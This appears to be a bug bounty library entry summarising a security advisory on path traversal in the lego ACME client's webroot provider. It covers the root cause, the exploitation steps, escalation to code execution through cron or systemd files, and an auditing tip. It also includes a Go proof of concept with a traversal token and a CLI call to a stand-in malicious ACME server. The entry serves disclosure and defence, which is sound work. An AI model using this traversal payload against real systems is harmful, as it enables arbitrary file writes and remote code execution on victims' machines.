# ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider

lego's webroot HTTP-01 provider concatenates unvalidated ACME tokens into file paths, letting a malicious ACME server write or delete arbitrary files.

- Payout: Research
- Severity: high
- Program: go-acme lego
- Found by: RealHurrison
- Disclosed: 2026-04-16
- CVE: CVE-2026-40611
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-qqx8-2xmm-jrv8
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qqx8-2xmm-jrv8
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:path-traversal

**Target:** webroot HTTP-01 challenge provider (Go library)
**Root cause:** ChallengePath() concatenates the ACME token into the path without validating it against the RFC 8555 base64url alphabet, and filepath.Join resolves `..` sequences, escaping the webroot.
**Steps:**
1. Point lego at a malicious ACME server with `--server https://malicious-acme.example.com --http --http.webroot /var/www/html`
2. Malicious server returns a challenge token containing `../../../../../../tmp/pwned`
3. webroot provider calls `filepath.Join(w.path, http01.ChallengePath(token))` and `os.WriteFile` writes keyAuth outside the webroot
4. CleanUp() calls `os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))` enabling arbitrary deletion
**How found:** Code review of ChallengePath() and the webroot provider revealed the token is concatenated without validation despite RFC 8555 restricting tokens to base64url characters.
**Exploitation:** Victim runs lego with --http.webroot against an attacker-controlled ACME server; the server supplies a traversal token, and lego writes attacker-influenced key authorization content to any path writable by the process, or deletes files via CleanUp.
**Escalation:** Writing to cron directories, systemd units, shell profiles or web-served directories yields RCE; running as root grants unrestricted filesystem write.
**Insight:** When auditing ACME clients, check whether server-supplied tokens and identifiers are validated against RFC 8555's base64url alphabet before being used in filesystem paths; filepath.Join does not prevent `..` escape.

## Proof of concept (copied exactly from the original report)

**Go PoC calling webroot provider with traversal token**

```
package main

import (
	"fmt"
	"os"

	"github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
	webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
	defer os.RemoveAll(webrootDir)

	provider, _ := webroot.NewHTTPProvider(webrootDir)
	token := "../../../../../../../../../../tmp/pwned"
	provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

	data, err := os.ReadFile("/tmp/pwned")
	if err == nil {
		fmt.Println("[+] VULNERABILITY CONFIRMED")
		fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
		fmt.Printf("[+] Content: %s\n", data)
	}
}
```

**CLI invocation against malicious ACME server**

```
lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email user@example.com \
     --domains example.com \
     run
```

